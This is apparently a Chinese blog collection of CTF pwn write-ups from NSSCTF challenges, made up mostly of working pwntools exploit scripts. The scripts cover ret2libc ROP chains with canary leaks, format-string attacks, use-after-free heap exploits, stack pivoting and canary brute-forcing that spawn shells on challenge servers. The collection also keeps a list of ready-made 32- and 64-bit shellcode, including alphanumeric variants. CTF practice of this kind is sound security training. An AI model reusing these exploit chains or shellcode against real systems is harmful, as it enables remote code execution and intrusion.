NSSCTF
[2021 鹤城杯]littleof
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.anna.nssctf.cn',28679)
elf = ELF('./littleof')
pop_rdi = 0x0400863
ret = 0x040059e
main_addr = 0x04006E2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#获取canary地址
payload = b'a'*(0x50-9) + b'b' #这里0x50-9多减一个1是因为方便我们定位
p.sendlineafter('Do you know how to do buffer overflow?', payload)
p.recvuntil(b'ab\n')
canary_addr = u64(p.recv(7).rjust(8,b'\x00')) #接收anary地址,接收7个字符串不足八个用\x00补齐然后用u64进行打包(注意这里是rjust也就是右对齐字符串)
print(hex(canary_addr))
#泄露got表地址
payload2 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #减去canary再buf中的大小然后加上canary地址再加上8个字节覆盖到返回地址,再加上rdi存入puts_got地址当作参数然后使用puts_plt输出puts_got地址再执行main函数
p.sendlineafter('Try harder!', payload2)
p.recvuntil(b'I hope you win')
puts_addrs = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #接收puts函数再got表项中的地址,从\x7f开始向后接收6个字符,不足8个用\x00补齐,(注意这里是ljust也就是左对齐)
print(hex(puts_addrs))
#计算出libc基地址,此题libc查询不到!
'''
libc = LibcSearcher('puts', puts_addrs)
'''
libc_base = puts_addrs - 0x80aa0
systeam_addrs = libc_base + 0x4f550
bin_sh_addrs = libc_base + + 0x1b3e1a
#重复第一个步骤这里再次获取canary地址是因为我们再上一次payload中最后一段写入了main函数所以程序再执行完上一次的paylaod后会重新运行程序这里就重头开始了,又因为程序是需要输入两次而我们又是再第二次输入时进行构造payload返回地址所以此处我们就要再获取一次canary地址
payload3 = b'a'*(0x50-9) + b'b' #这里0x50-9多减一个1是因为方便我们定位
p.sendlineafter('Do you know how to do buffer overflow?', payload3)
p.recvuntil(b'ab')
canary_addr2 = u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary_addr2))
#构造shellcode
payload4 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh_addrs) + p64(systeam_addrs) #构造第二次payload这里添加ret的地址是为了保证栈对齐。
p.sendlineafter('Try harder!', payload4)
p.interactive()
[LitCTF 2023]口算题卡
from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28257)
io.recvuntil(b"is ")
for i in range(100):
io.recvuntil(b"is ")
a = io.recv()[0:-2]
a_text = a.decode()
result = eval(a_text)
io.sendline(str(result).encode())
io.interactive()
[WUSTCTF 2020]getshell2
from pwn import *
io = remote('node5.anna.nssctf.cn', 20971)
sh = 0x08048670
call_sys = 0x8048529
payload = b'A'*(0x18+4) + p32(call_sys) +p32(sh)
io.sendline(payload)
io.interactive()
[HNCTF 2022 Week1]fmtstrre
#爆破法,不够优雅,有gdb调试查到是0x20的位置,然后加六个寄存器地址的说法
#0x20 = 32 || 32+6 = 38
#所以是%38$s
from pwn import *
context.log_level = 'debug'
host = 'node5.anna.nssctf.cn'
port = 23089
start = 1 # 起始偏移量
while True:
try:
io = remote(host, port)
# 接收初始提示信息
io.recvuntil('Input your format string.')
# 发送当前偏移量的payload
payload = f'%{start}$s'.encode()
io.sendline(payload)
# 接收响应
io.recvline() # 接收"Ok."
res = io.recvline()
print(f'Offset {start}: {res.decode().strip()}')
start += 1 # 偏移量+1
io.close()
except EOFError:
print(f'断开连接,尝试下一个偏移量: {start + 1}')
start += 1 # 断联后偏移量+1
try:
io.close()
except:
pass
except Exception as e:
print(f'错误: {e},继续测试偏移量: {start}')
try:
io.close()
except:
pass
[NISACTF 2022]UAF
main函数纯打印菜单的
没啥东西
进菜单操作里看

看到这里对i = 0的情况做了保护


仔细观察后,发现基本上都有包含0的情况并进行处理

但是del函数没有对i = 0进行包含处理
前面的对i = 0的情况进行包含,导致了我们无法直接对页面0的内容进行edit操作
所以我们需要先申请一个,然后释放掉,因为它指针没置零
所以当我们再申请的时候,因为大小是一样的,所以还是原来的那个堆块,那个指针也还在,这个时候只要我们对其进行edit操作然后用show去展示内容,就能完成getshell
欸,为什么就getshell了,因为这题给了system(command);
所以转到getshell的地址就好了
因为page 即 &(page[0]),page+1即&(page[1]) ,func在page[0]向后偏移4byte处,所以argu不能太长,必须小于4byte
所以在传入进shell的命令时,要注意构造:’/bin/sh0x00’太长了,换成‘sh\x00\x00’,共4byte + getshell_addr
from pwn import *
context.log_level = 'debug'
io = remote('node4.anna.nssctf.cn', 28245)
backdoor = 0x8048642
# payload = b'sh\x00\x00' + p32(backdoor)
payload = b'sh;\00' + p32(backdoor)
def create():
io.sendline(b'1')
def delete():
io.sendline(b'3')
io.sendline(b'0')
def edit():
io.sendline(b'2')
io.sendline(b'1')
io.sendline(payload)
def show():
io.sendline(b'4')
io.sendline(b'0')
create()
delete()
create()
edit()
show()
io.interactive()
[BJDCTF 2020]YDSneedGirlfriend
from pwn import *
context.log_level = 'debug'
io = remote('node4.anna.nssctf.cn', 28929)
backdoor = 0x400B9C
payload = p64(backdoor)
def add(size, data):
io.sendline(b'1') # 发送选项1
io.recvuntil(b'Her name size is :') # 等待size输入提示
io.sendline(str(size).encode()) # 发送size
io.recvuntil(b'Her name is :') # 等待name输入提示
io.sendline(data) # 发送name内容
def delete(idx):
io.sendline(b'2') # 发送选项2
io.recvuntil(b'Index :') # 等待索引输入提示
io.sendline(str(idx).encode()) # 发送索引
def show(idx):
io.sendline(b'3') # 发送选项3
io.recvuntil(b'Index :') # 等待索引输入提示
io.sendline(str(idx).encode()) # 发送索引
# 利用流程:严格按堆分配逻辑执行
add(0x30, b'aaa') # 分配第1个对象(A0+B0)
add(0x30, b'bbb') # 分配第2个对象(A1+B1)
delete(0) # 释放A0和B0(UAF)
delete(1) # 释放A1和B1(UAF)
# 分配0x10大小的B chunk,重用A0的地址,覆盖函数指针
add(0x10, payload)
show(0) # 触发被覆盖的函数指针,执行backdoor
io.interactive()
# from pwn import *
# context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28254)
#
#
# def add(size,data):
# io.sendlineafter("Your choice :", "1")
# io.sendlineafter("Her name size is :", str(size))
# io.sendlineafter("Her name is :", data)
#
# def delete(index):
# io.sendlineafter("Your choice :", "2")
# io.sendlineafter("Index :", str(index))
#
#
# def show(index):
# io.sendlineafter("Your choice :", "3")
# io.sendlineafter("Index :", str(index))
#
# backdoor=0x400B9C
#
# add(0x30,'aaa')
# add(0x30,'bbb')
#
# delete(0)
# delete(1)
#
# add(0x10,p64(backdoor))
# show(0)
# io.interactive()
[HNCTF 2022 Week1]ezr0p32
from pwn import *
io = remote('node5.anna.nssctf.cn', 26331)
system = 0x080483D6
sh = 0x804A080
payload1 = b'bin/sh\x00'
io.sendline(payload1)
payload2 = b'a'*(28+4) + p32(system) + p32(0) +p32(sh)
io.sendline(payload2)
io.interactive()
[HDCTF 2023]Makewish
栈迁移 + off by null + 伪随机数,伪随机数能拿gdb找出来
from pwn import *
context(arch='amd64',log_level='debug')
# gdb.attach(io)
# raw_input()
while(1):
io=remote('node4.anna.nssctf.cn',28167)
io.recvuntil(b'name\n\n')
io.sendline(b'a'*39+b'b')
io.recvuntil(b'aaab')
canary=u64(io.recv(8))-0x0a
success(hex(canary))
num=707
io.send(p32(num))
io.recvuntil(b'can make a wish to me\n')
raw_input()
backdoor=0x4007C7
payload=p64(backdoor)*11+p64(canary)
io.send(payload)
raw_input()
io.interactive()
[NISACTF 2022]ezheap
先直接exp起手:
from pwn import *
#io = process("./ezheap")
io = remote("node5.anna.nssctf.cn",26582)
payload = b'a'*28 + p32(0x21) +b'/bin/sh\x00'
#gdb.attach(io)
io.send(payload)
io.interactive()
这题的意义就在于堆管理机制的学习
堆这个东西很抽象(我认为
原样:

利用效果:

众所不周知啊,32位和64位在申请堆块的时候会有一些奇奇怪怪的事情
也就是申请到的大小和写的申请大小不一样
这里就稍微写详细一点吧
由于堆管理机制的问题
用户申请的大小,会先判断是否是8的倍数
如果是,那就不管了就这样吧
如果不是就补足空字节保证满足是8的倍数,以方便进行堆管理
然后补足后,32位会加4字节的头
以此类推,64位会加8字节()
好,言归正传回到题目
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *command; // [esp+8h] [ebp-10h]
char *s; // [esp+Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
s = (char *)malloc(0x16u);
command = (char *)malloc(0x16u);
puts("Input:");
gets(s);
system(command);
return 0;
}
是吧,定义俩指针,然后malloc这样两块
0x16 = 22
不够,填空字节进去
这个时候gdb调试的结果长这样:

这里是只进行了第一次malloc的效果,可以看到,明明只要了0x16 = 22
实际上给了从0x804b1a0到0x804b1bc的长度
也就是28字节(粉色内容)
等到第二次malloc完成,情况也是类似

好了,第二次malloc的内容不就是我们要的command嘛
它输入没有验证输入长度
所以,堆溢出不就来了嘛
先写28字节垃圾数据
然后,那个0x21是干嘛的呢,就是标长度的,要是想保留一点原汁原味,填完垃圾数据再p32(0x21)就好了
反正它只是标注,不影响实际的内存区域分配,别把我们想写的/bin/sh写到那里去就行了
所以相当于你填28+4 的垃圾数据进去都没事,反正都一样
完了直接system(“/bin/sh”);
没了,get shell
[NISACTF 2022]shop_pwn
好东西,又是条件竞争,这题当条件竞争入门题感觉挺不错的
main指向game()
game()没什么好说的
void __noreturn game()
{
int v0; // eax
int i; // [rsp+Ch] [rbp-4h]
while ( 1 )
{
while ( 1 )
{
puts(" Welcome to my shop ");
puts("+===========================+");
puts("| No| | Sell| Recycle|");
puts("+===+========+=====+========+");
for ( i = 0; i <= 15; ++i )
{
if ( *(_DWORD *)&gd[24 * i + 16] )
printf(
"| %d | %-4s | %3d | %3d |\n",
i,
&gd[24 * i],
*(_DWORD *)&gd[24 * i + 16],
*(_DWORD *)&gd[24 * i + 20]);
}
puts("+===========================+");
puts("1. look bags\n2. buy goods\n3. sale goods");
printf("> ");
v0 = read_int();
if ( v0 != 2 )
break;
buy();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sale();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_17:
puts("Invalid!");
}
}
else
{
if ( v0 != 1 )
goto LABEL_17;
look();
}
}
}
常规买卖交易
买也会创建新的线程让新线程运行to_buy函数
但是to_buy函数没有延时,条件竞争打不了
但是卖可以
那么目标就是反复卖出赚米
欸,那我们怎么反复卖呢
先1看看

开局一支笔,那有办法了
直接开卖,就利用to_Sale存在的延时,在那段时间里疯狂的卖出pen
卖完钱就够买flag了
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('node5.anna.nssctf.cn', 23623)
# io = process('./[NISACTF 2022]shop_pwn')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'2')
io.sendline(b'1')
io.interactive()
[CISCN 2023 初赛]funcanary
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243();
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
fork函数
合理了
canary为标题,这里猜都知道是要靠爆破了
爆破的思路仍然是老一套
(可以参考pwn119)
先不急,继续往下看
unsigned __int64 sub_128A()
{
_BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
溢出点找到
from pwn import *
io = process("./service")
'接受杂质消息'
io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
io.send(b'a'*(0x70-8) + canary + p8(i))
response = io.recvuntil('welcome\n')
if b'fun' in response:
canary += p8(i)
print(b'canary: ',canary)
break
cat = 0x0231
while(1):
for i in range(16):
payload = b'a'*(0x70-8) + canary + b'a'*(8) + p16(cat)
io.send(payload)
response = io.recvuntil("welcome\n")
print(response)
if b'welcome' in response:
cat += 0x1000
continue
if b'{' in response:
print(response)
break
io.interactive()
轮着解释一下exp
第一步的两个嵌套for循环就是为了爆canary
因为保护全开的原因,存在pie
所以我们看到的cat flag这个指令的位置也是不确定的
但是内存分页机制就效果就是能让我们通过爆破强解
这就完事了
[HUBUCTF 2022 新生赛]fmt
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[32]; // [rsp+10h] [rbp-60h] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+38h] [rbp-38h]
__int64 v7; // [rsp+40h] [rbp-30h]
__int64 v8; // [rsp+48h] [rbp-28h]
__int64 v9; // [rsp+50h] [rbp-20h]
__int64 v10; // [rsp+58h] [rbp-18h]
__int16 v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("flag.txt", "r");
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
if ( stream )
fgets(s, 50, stream);
HIBYTE(v11) = 0;
while ( 1 )
{
puts("Echo as a service");
gets(format);
printf(format);
putchar(10);
}
}
GDB调试运行到这个位置

欸,直接偏移就能找到了嘛
这里gets存进的是format
而format是32字节
所以这里的长度就是
0x40 / 8 + 32/8 = 8 + 4 = 12
但是,去实际尝试发现12并不行,实际上应该往后挪一位才是真正的偏移值
但是又有问题,它输出的值是16进制的,所以还得再转一次ascll

转转就好了()
注意换成小端序
[HNCTF 2022 Week1]safe_shellcode
没啥好说的
但是记录一下这个:
# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
# 64位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
[HNCTF 2022 Week1]ezcmp
x/10gx *0x404100
p64分段传入
[SWPUCTF 2022 新生赛]Integer Overflow
from pwn import *
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",21127)
io.sendline(b'1')
io.sendline(b'-1')
offset = 0x20 + 4
bin_sh = 0x804A008
system = 0x80494FB
ret = 0x0804900e
pd = b'a' * offset
pd += p32(system)
pd += p32(bin_sh)
# gdb.attach(io)
io.sendline(pd)
io.interactive()
[深育杯 2021]find_flag
from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28334)
# io = process("./find_flag")
io.sendlineafter(b'name?', b'%17$p.%19$p')
io.recvuntil(b'you, ')
leak = io.recvuntil(b'!')[0:-1]
leak_str = leak.decode()
canary_str, stack_str = leak_str.split('.')
canary = int(canary_str, 16)
stack_addr = int(stack_str, 16)
success(f"canary: {hex(canary)}")
success(f"stack_addr: {hex(stack_addr)}")
base_addr = stack_addr - 0x146F
flag_addr = base_addr + 0x1231
success(f"flag_addr: {hex(flag_addr)}")
pd = b'a'*(0x40 - 0x8) + p64(canary) + p64(0) + p64(flag_addr)
io.sendline(pd)
io.interactive()
有手就行的栈溢出
from pwn import *
io = remote("node5.anna.nssctf.cn",29100)
ret = 0x000000000040101a
backd = 0x0000000000401257
payload = b'a'*(32+8) + p64(ret) +p64(backd)
io.sendline(payload)
io.interactive()
[BJDCTF 2020]babyrop
from pwn import *
io = remote('node4.anna.nssctf.cn',28199)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF(elf.libc.path)
ret_add =0x00000000004004c9
pop_rdi =0x0000000000400733
main_add =0x0000000004006AD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x20
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'story!', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc_base = puts_addr - 0x4ef50
system_add = libc_base + 0x24c50
bin_sh_add = libc_base + 0x16c617
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'story!', payload2)
io.interactive()
[CISCN 2019东北]PWN2
放太久忘了,好像是本地就是打不通,远程能过
但是有俩exp,想不起来到底哪版能用了,都贴一份以示敬意()
from pwn import *
context.log_level = "debug"
#io = remote("node5.anna.nssctf.cn",28952)
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.27-0ubuntu2_amd64.so")
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
en_addr = 0x00000000004009A0
print(hex(puts_plt))
print(hex(puts_got))
offset = 0x50+8
io.sendlineafter(b"Input your choice!\n", b'1')
pd = b'A' * offset
pd += p64(pop_rdi)
pd += p64(puts_got)
pd += p64(puts_plt)
pd += p64(en_addr)
#gdb.attach(io)
io.sendlineafter(b"Input your Plaintext to be encrypted\n", pd)
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info(f"Leaked puts@libc: {hex(leak)}")
libc_base = leak - libc.sym['puts']
log.info(f"Libc base: {hex(libc_base)}")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
log.success(f"system:{hex(system_addr)}")
log.success(f"bin_sh:{hex(binsh_addr)}")
pd2 = b'a' * offset
pd2 += p64(pop_rdi)
pd2 += p64(binsh_addr)
pd2 += p64(ret)
pd2 += p64(system_addr)
io.sendlineafter(b"Input your Plaintext to be encrypted\n", pd2)
io.interactive()
from pwn import *
leak = lambda name,content: log.success('{}={:#x}'.format(name,content))
p = process("./pwn")
p.sendline(b'1')
elf = ELF('./pwn')
rdi = 0x0400c83
ret = 0x04006b9
encrypt_addr = 0x04009A0
main_addr = 0x0400B28
strlen_got = elf.got['strlen']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = b'a'*(0x50+8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil(b'oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\x83\x0c@\n')
puts_addr = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
leak('puts_addr',puts_addr)
libc = ELF('./libc6_2.27-0ubuntu2_amd64.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak('libc_base',libc_base)
leak('system_addr',system_addr)
leak('bin_sh',bin_sh)
payload1 = b'a'*0x50 + b'a'*8 +p64(rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.send(payload1)
p.interactive()
[CISCN 2019华南]PWN3
from pwn import *
context.log_level = 'debug'
io = process("./pwn")
offset = 0x10 + 8
gadget = 0x0000000004004D6
ret = 0x00000000004003a9
pd = b'a'*offset
pd += p64(ret)
pd += p64(gadget)
gdb.attach(io)
io.send(pd)
io.interactive()
[CISCN 2023 初赛]烧烤摊儿
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("node4.anna.nssctf.cn",28253)
io.sendlineafter(b'> ', b'2')
io.sendline(b'1')
io.sendline(b'-999999')
io.sendline(b'4')
io.sendline(b'5')
syscall = 0x0000000000402404
pop_rdi_ret = 0x000000000040264f
pop_rdx_rbx_ret = 0x00000000004a404b
pop_rsi_ret = 0x000000000040a67e
name = 0x00000000004E60F0
pop_rax_ret = 0x0000000000458827
ret = 0x000000000040101a
payload = b'/bin/sh\x00' + b'a' * 0x20 + p64(pop_rax_ret) + p64(59) + p64(pop_rdi_ret) + p64(name) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall)
io.sendlineafter("请赐名:\n", payload)
io.interactive()
[CISCN 2023 初赛]funcanary
from pwn import *
elf = ELF('./service')
p = process('./service')
#p=remote('node5.anna.nssctf.cn',27873)
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
for i in range(256):
p.send(b'a'*0x68 + canary + p8(i))
a = p.recvuntil("welcome\n")
if b"fun" in a:
canary += p8(i)
print(b"canary: " + canary)
break
catflag = 0x0231
while(1):
for i in range(16):
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
p.send(payload)
#pause()
a = p.recvuntil("welcome\n",timeout=1)
print(a)
if b"welcome" in a:
catflag += 0x1000
continue
if b"NSSCTF" in a:
print(a)
break
p.interactive()
[HDCTF 2023]pwnner
from pwn import *
io = remote("node5.anna.nssctf.cn",21999)
payload=b'a'*(0x40+0x08)+p64(0x4008B2)
io.sendlineafter(b'name:',b'1956681178')
io.sendlineafter(b'next?',payload)
io.interactive()
[HNCTF 2022 Week1]ezr0p64
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
io = remote("node5.anna.nssctf.cn",27494)
io.recvuntil(b'Gift :')
puts_addr = io.recvuntil(b'\n')[0:14]
success(f"puts_addr : {puts_addr}")
libc_base = int(puts_addr,16) - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
offset = 0x100 + 8
ret = 0x000000000040101a
rdi = 0x00000000004012a3
pd = b'a' * offset
pd += p64(ret)
pd += p64(rdi)
pd += p64(bin_sh_add)
pd += p64(system_add)
io.sendline(pd)
io.interactive()
[HNCTF 2022 Week1]safe_shellcode
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote("node5.anna.nssctf.cn",29442)
#io = process('./pwn')
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
[LitCTF 2023]狠狠的溢出涅~
from pwn import *
context.log_level = 'debug'
io = remote('node4.anna.nssctf.cn',28296)
#io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc-2.31.so')
ret_add =0x0000000000400556
pop_rdi =0x00000000004007d3
main_add =0x0000000004006B0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x67
payload1 = b'\x00'
payload1 += b'a' * (offset) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'message:', payload1)
io.recvuntil(b'Received\n')
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'\x00'
payload2 += b'a' * (offset) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'message:', payload2)
io.recv()
io.interactive()
[HDCTF 2023]KEEP ON
好像一直没有专门写过完整的栈迁移
就补个档吧
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48uLL);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60uLL);
return 0LL;
}
%p基础调试定位格串栈偏移
测出来是s数组在6
s在rbp-50的地方
0x50/8 = 10
10+6 = 16
rbp在栈上的偏移就找到了
泄露一下就好了

leave
retn
这俩就是栈迁移的最核心之处了
其相当于
mov rsp rbp;
pop rbp
此时rsp与rbp位于了一个地址,可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop rbp,将栈顶的内容弹入rbp(此时栈顶的内容也就是rbp的内容,也就是说现在把rbp的内容赋给了rbp)。因为rsp要时刻指向栈顶,既然栈顶的内容都弹走了,那么rsp自然要往下挪一个内存单元
说回题目,为什么S又等于rbp – 0x60了呢?
emmmm,gdb调调看就好了,不多写了,两次读入,第一次泄露第二次输个bbbb,search bbbb嘛()
欸,这下pd就能写了
rdi有的,leave有的,syscall有的
栈溢出也看到了
ROP链就好写了
好像写的pd可读性比较差……
先写东西
vuln 函数的返回流程是固定的:leave(原指令)→ retn(原指令),通过 pd 覆盖了两个关键地址,让这个流程变成 “栈迁移触发流程”:
- 覆盖「保存的 rbp」:pd 末尾的
p64(s)→ 把栈帧基址改成 s; - 覆盖「返回地址」:pd 末尾的
p64(leave)→ 把返回地址改成 leave 指令地址。
阶段 1 的执行步骤(函数返回时,早于所有 ROP 指令):
- 执行原函数的leave指令:
mov rsp, rbp→ rsp 跳转到你覆盖的「保存的 rbp」=s;pop rbp→ rsp+8,rbp 被更新为 s(此时 rbp 已无关紧要);
- 执行原函数的retn指令:
- 弹出栈顶的「返回地址」=leave(你覆盖的),跳转到 leave 指令执行;
- 执行你覆盖的leave指令(第二次执行 leave):
mov rsp, rbp→ rsp 再次重置为 s(栈迁移的核心一步,把 rsp 固定到 s 数组起始);pop rbp→ rsp+8,但此时 rsp 已经指向 s 数组,栈迁移完成
栈迁移完成后,rsp 固定在 s 数组起始地址(s),程序的指令指针(rip)会自动指向 s—— 也就是 pd 前面的p64(0)地址,开始执行 ROP 链:
- 第一步:执行
p64(0)(无效指令); - 第二步:执行
p64(ret)(衔接指令); - 第三步:执行
p64(pop_rdi)(传参指令); - … 后续执行
system调用。
from pwn import *
io = process("./hdctf")
# io = remote("node4.anna.nssctf.cn",28828)
elf = ELF("./hdctf")
pop_rdi = 0x00000000004008d3
ret = 0x00000000004005b9
syscall = elf.plt["system"]
leave = 0x00000000004007f2
#gdb.attach(io)
io.sendline(b'%16$p')
io.recvuntil(b'hello,')
rbp = int(io.recv()[2:14],16)
rbp_addr = hex(rbp)
success(f"rbp_addr = {rbp_addr}")
s = rbp - 0x60
s_addr = hex(s)
success(f" s_addr = {s_addr}")
pd = b'aaaaaaaa'
pd += p64(ret)
pd += p64(pop_rdi)
pd += p64(s + 0x8*5)
pd += p64(syscall)
pd += b'/bin/sh\x00'
pd = pd.ljust(0x50,b'a')
pd += p64(s)
pd += p64(leave)
print(pd)
io.send(pd)
io.interactive()
[CISCN 2019东南]PWN2
怀疑就是keepon母题
32位版本而已
改写一点点就好了
就不多写了,exp里还算有点注释,希望以后的自己/看我博客的后生看得懂(好吧,实际上是我熬不动了,就这样吧)
from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote("node5.anna.nssctf.cn",26611)
elf = ELF("./pwn")
syscall = 0x08048559
ret = 0x080483a6
leave = 0x08048562
#泄漏rbp地址
pd = b'a'*0x28
io.send(pd)
io.recvuntil(pd)
rbp = u32(io.recv(4))
print(hex(rbp))
#地址计算
#ebp 0xffffcd68 —▸ 0xffffcd78 ◂— 0
#ebp 前后变化0x10
padding = 0x10
#s_size
s = 0x28
#目标target地址
target = rbp - padding - s
#构造rop链
pd2 = p32(0)
pd2 += p32(ret)
pd2 += p32(syscall)
pd2 += p32(target+0x4*4)
pd2 += b'/bin/sh\x00'
pd2 = pd2.ljust(0x28,b'a')
pd2 += p32(target)
pd2 += p32(leave)
io.send(pd2)
io.interactive()
突然想起来做的时候忘了的一个小细节,还是决定补充一下
这里u32能打包到数据的原因是
printf的截止是靠收到\0判断
只要把s数组全部覆盖掉,不多覆盖pre_rbp的四字节内容
就能接收到s数组后面的内容
只收4字节,就刚好是pre_rbp
欸,好了,就这么个情况
栈迁移链条还是蛮明晰的,大差不差就这个链路
栈迁移,leave的艺术说是
为了面试,记得牢记其等价的汇编指令是
mov rsp , rbp
pop rbp
[HDCTF 2023]Minions
这题就稍微写细一点,还是蛮有意思的

key要102才能进两read,考虑怎么进read

格串,利用任意写特性改key值就好了
key在bss上,地址就是已知的,利用pwntools的fmtstr_payload能搞出来一个初步的fmt利用的pd
fmt = fmtstr_payload(6,{key:0x66})
运行一下看看实际的输入:b’%102c%8$llnaaaab\xa0\x10`\x00\x00\x00\x00\x00′
